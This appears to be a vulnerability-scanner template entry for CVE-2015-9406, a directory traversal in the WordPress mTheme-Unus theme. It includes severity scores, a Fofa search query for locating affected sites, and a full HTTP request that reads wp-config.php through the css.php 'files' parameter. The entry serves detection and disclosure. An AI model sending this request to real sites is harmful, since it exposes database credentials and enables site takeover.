| Title | mTheme Unus < 2.3 - Directory Traversal |
|---|---|
| Author | pussycat0x,dhiyaneshDk |
| Severity | High |
| Impact | Attackers can read sensitive files including database credentials and configuration files, potentially leading to full site compromise. |
| Remediation | Upgrade to 2.3 or later version |
| CVSS Score | 7.5 |
| EPSS Score | 0.81654 |
| CVE ID | CVE-2015-9406 |
| CWE ID | CWE-22 |
| Fofa Query | body="wp-content/themes/mTheme-Unus/" |
| Tags | cve cve2015 wordpress wp-theme wp wpscan mtheme-unus lfi vkev vuln |
The mTheme-Unus theme for WordPress, prior to version 2.3, contained a directory traversal flaw that let attackers access arbitrary files. This was possible by exploiting the files parameter in css/css.php with .. sequences.
GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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